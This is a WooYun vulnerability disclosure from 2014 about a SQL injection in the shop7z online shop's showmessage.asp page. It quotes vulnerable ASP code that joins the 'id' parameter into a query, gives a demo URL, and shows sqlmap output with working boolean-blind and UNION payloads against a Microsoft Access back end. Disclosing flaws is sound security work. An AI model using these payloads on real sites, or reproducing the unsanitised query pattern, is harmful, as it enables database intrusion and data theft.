当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076150

漏洞标题:shop7z 留言处注入

相关厂商:shop7z

漏洞作者: ra0mb1er

提交时间:2014-09-15 18:32

修复时间:2014-12-14 18:34

公开时间:2014-12-14 18:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

showmessage.asp 文件注入

详细说明:

showmessage.asp 文件 45-48

dim rs
id=request("id")
set rs=server.createobject("adodb.recordset")
sql="select * from message where g_list="& id &""


demo 演示地址 http://www.shop7z.com/demo/showmessage.asp?id=1

漏洞证明:

5.jpg


GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 15 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 9415=9415
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(117)&CHR(116)&CHR(122)&CHR(113)&CHR(71)&CHR(79)&CHR(114)&CHR(85)&CHR(111)&CHR(90)&CHR(90)&CHR(115)&CHR(122)&CHR(103)&CHR(113)&CHR(117)&CHR(108)&CHR(108)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[18:31:45] [INFO] testing Microsoft Access
[18:31:45] [INFO] confirming Microsoft Access
[18:31:46] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[18:31:46] [WARNING] on Microsoft Access it is not possible to enumerate databases (use only '--tables')
[18:31:46] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 6 times

修复方案:

版权声明:转载请注明来源 ra0mb1er@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝